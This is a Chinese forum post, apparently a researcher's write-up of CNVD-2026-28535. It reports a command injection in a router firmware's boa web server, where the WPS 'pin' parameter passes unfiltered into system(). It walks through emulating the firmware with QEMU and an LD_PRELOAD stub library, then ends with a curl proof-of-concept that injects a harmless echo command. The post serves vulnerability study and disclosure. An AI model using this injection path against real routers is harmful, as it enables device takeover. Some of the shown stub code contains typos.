首页
社区
课程
招聘
[原创]CNVD-2026-28535漏洞挖掘分享
发表于: 16小时前 24

[原创]CNVD-2026-28535漏洞挖掘分享

16小时前
24

title: CNVD-2026-28535漏洞挖掘分享
categories:

  • IOT安全
    tags:
  • IOT
    date: 2026-07-23 14:00:00

第一次自主漏洞挖掘,这里写一篇博客特此记录一下
这里存一点私心,放一下笔者的博客

漏洞信息

固件地址

漏洞文件:/bin/boa

漏洞函数:start_wps()

函数地址:0x45aa28

image-20260722205248908

该函数的调用方式不太一样

image-20260723114533289

HTTP请求->获取pin参数->start_wps()->sprintf拼接系统命令->system执行

在函数中,程序首先通过:v2 = *(_DWORD *)(a1 + 268)获取 HTTP 请求中的用户输入参数。

然后通过:v3 = strstr(v2,"pin=");查找用户提交的 PIN 参数。

当参数存在时:wscd = (const char *)(v3 + 4);获取用户可控内容。

之后程序直接执行:sprintf(failed,"iwpriv wlan0 set_mib pin=%s",wscd);

将用户输入拼接到系统命令中,最后:system(failed)执行该命令。

由于用户输入未经过任何过滤,可以通过插入 Shell 特殊字符控制最终执行命令。

环境模拟

解包之后首先尝试运行

看文件架构

image-20260723102257932

拷贝合适的调试工具

cp $(which qemu-mips-static ) .

运行boa文件发现初始化错误

image-20260723102809099

直接去ida查找报错字符Initialize AP MIB failed!

image-20260722195130210

所以这里需要apmib_init返回true才能让函数继续执行

image-20260723102951467

apmib_init()不在 boa 主程序里面,它来自外部动态库(.so)

去找它的函数主体,在/lib/apmib.so文件中

用ida打开

PixPin_2026-07-22_19-58-10

分析可知apmib_init()的作用:

初始化路由器配置数据库(MIB),从Flash读取硬件配置、软件配置、用户配置,然后建立内存中的配置结构,供 boa 后面的 Web 页面调用。

所以可以直接修改apmib_init函数执行函数,让它直接返回1

创建apmib.c文件定义函数apmib_init()

#include<stdio.h>
#include<stdlib.h>
int ampib_init(void)
{
     //Fake it.
     return 1;
}

然后用gcc-mips-linux-gnu生成 MIPS 架构的 Linux 操作系统可执行文件

mips-linux-gnu-gcc ./apmib.c -o apmib-ld.so -fPIC -shared

之后重新运行

sudo chroot ./ \
./qemu-mips-static \
-E LD_PRELOAD="/apmib-ld.so" \
./bin/boa

image-20260723104810257

qemu: uncaught target signal 11 (Segmentation fault) - core dumped

ida调试去寻找报错位置

sudo chroot ./ \
./qemu-mips-static \
-E LD_PRELOAD="/apmib-ld.so" \
-g 1234 \
./bin/boa

配置一下ida的远端调试信息

hostname设置为虚拟机的ip,port为你起的那个端口

image-20260722200257340

在apmib_get的跳转报错了

image-20260723105111125

真正触发程序崩溃的是 0x43B1A4 处的指令

image-20260722202457645

查看 apmib.so 中apmib_get()函数的汇编代码

int __fastcall apmib_get(int n500, unsigned __int8 *p_boot_ver)

image-20260722202743083

这个函数实际上是从路由器的配置数据库(MIB)里,根据编号 n500,把对应配置值读取出来,复制到调用者提供的缓冲区 p_boot_ver

apmib_get(配置项编号, 存放结果的地址)

分析调用的实际情况知道每个pid对应的是什么

所以修改函数apmib_init()

脚本中#define MIB_WPS_MODE 0x3B的情况是不是这里的读取信息,在之后对start_wps()函数的讲解会讲到

#include <stdio.h>
#include <stdlib.h>
#define MIB_IP_ADDR  170
#define MIB_HW_VER   0x250
#define MIB_CAPTCHA  0x2C1
// WPS mode
#define MIB_WPS_MODE 0x3B
int apmib_init()
{
    return 1;
}
// 防止boa初始化fork失败
int fork(void)
{
    return 0;
}
int apmib_get(int code, void *value)
{
    int *v = (int *)value;
    switch(code)
    {
        // IP地址
        case MIB_IP_ADDR:
            *v = 0x7F000001;     //127.0.0.1
            break;
        // 硬件版本
        case MIB_HW_VER:
            *v = 0xF1;
            break;
        // 验证码
        case MIB_CAPTCHA:
            *v = 1;s
            break;
        // ★关键
        // start_wps:
        // apmib_get(0x3b,&var)
        //
        // 0 -> 进入:
        // iwpriv wlan0 set_mib pin=%s
        //
        case MIB_WPS_MODE:
            *v = 0;
            break;
        default:
            // 默认返回成功
            *v = 0;
            break;
    }
    return 1;
}

然后用gcc-mips-linux-gnu生成 MIPS 架构的 Linux 操作系统可执行文件

mips-linux-gnu-gcc ./apmib.c -o apmib-ld.so -fPIC -shared

然后就可以运行了

sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="/apmib-ld.so" ./bin/boa

image-20260723105150452

但是跳转的页面是错的

image-20260723105220920

需要改动 web 目录下的 first.asp 文件

将代码 self.location.href="Basic/Wizard_Easy_LangSelect.asp";注释掉,

然后将self.location.href="Basic/Wizard_Easy_Welcome.asp";复制到else 代码块

image-20260723105452385

之后就可以成功访问

image-20260723110100491 接着对start_wps函数进行详细分析

image-20260723120443884

要想执行到system命令注入入口

程序会对var/run/wscd-wlan0.pid和/var/tmp/wscd_status两个文件进行校验,要先创建出这两个文件

mkdir -p var/run
mkdir -p var/tmp
touch var/run/wscd-wlan0.pid
touch var/tmp/wscd_status

并且传入参数中要以”pin=····“的形式传入

apmib_get(59, &n3); 会获取wps配置,要继续修改apmib_get的函数伪造多一种判断情况

#define MIB_WPS_MODE 0x3B

#include <stdio.h>
#include <stdlib.h>
#define MIB_IP_ADDR  170
#define MIB_HW_VER   0x250
#define MIB_CAPTCHA  0x2C1
// WPS mode
#define MIB_WPS_MODE 0x3B
int apmib_init()
{
    return 1;
}
// 防止boa初始化fork失败
int fork(void)
{
    return 0;
}
int apmib_get(int code, void *value)
{
    int *v = (int *)value;
    switch(code)
    {
        // IP地址
        case MIB_IP_ADDR:
            *v = 0x7F000001;     //127.0.0.1
            break;
        // 硬件版本
        case MIB_HW_VER:
            *v = 0xF1;
            break;
        // 验证码
        case MIB_CAPTCHA:
            *v = 1;
            break;
        case MIB_WPS_MODE:
            *v = 0;
            break;
        default:
            *v = 0;
            break;
    }
    return 1;
}

之后就可以尝试运行了

模拟攻击

还是起服务但是可以在gdb中调试

sudo chroot ./ ./qemu-mips-static \
-E LD_PRELOAD=/apmib-ld.so \
-g 1234 \
./bin/boa

另开一个窗口来调试

gdb-multiarch ./bin/boa
set architecture mips
target remote :1234

在进入system函数之前下断点,方便观察system函数的参数

b *0x45ab80

image-20260723121054106

之后按c让它继续运行,期间他会停住等待输入

开另一个窗口发送参数(这里以echo>/var/run/cnvd_test为例去测试执行)

curl --path-as-is \
'777K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8V1u0S2M7$3W2U0i4K6u0r3N6$3W2X3K9i4y4U0i4K6g2X3j5h3c8V1i4K6g2X3M7%4c8S2i4K6u0W2j5i4y4H3i4K6y4r3M7r3W2F1i4K6y4p5x3e0t1K6y4o6f1$3y4K6S2Q4x3@1u0W2j5$3S2G2i4K6t1$3k6%4c8Q4x3@1u0Q4x3V1k6$3j5i4u0Q4x3V1k6J5N6h3&6Q4x3V1k6U0L8Y4k6V1i4K6g2X3N6r3g2K6N6q4)9J5y4H3`.`.

回到gdb调试窗口看参数

image-20260723121326353

看到我们伪造的命令已注入,C让它执行命令

image-20260723121456508

命令注入漏洞实现


[招生]科锐逆向工程师培训(2026年7月3日实地,远程教学同时开班, 第56期)!

收藏
免费 0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回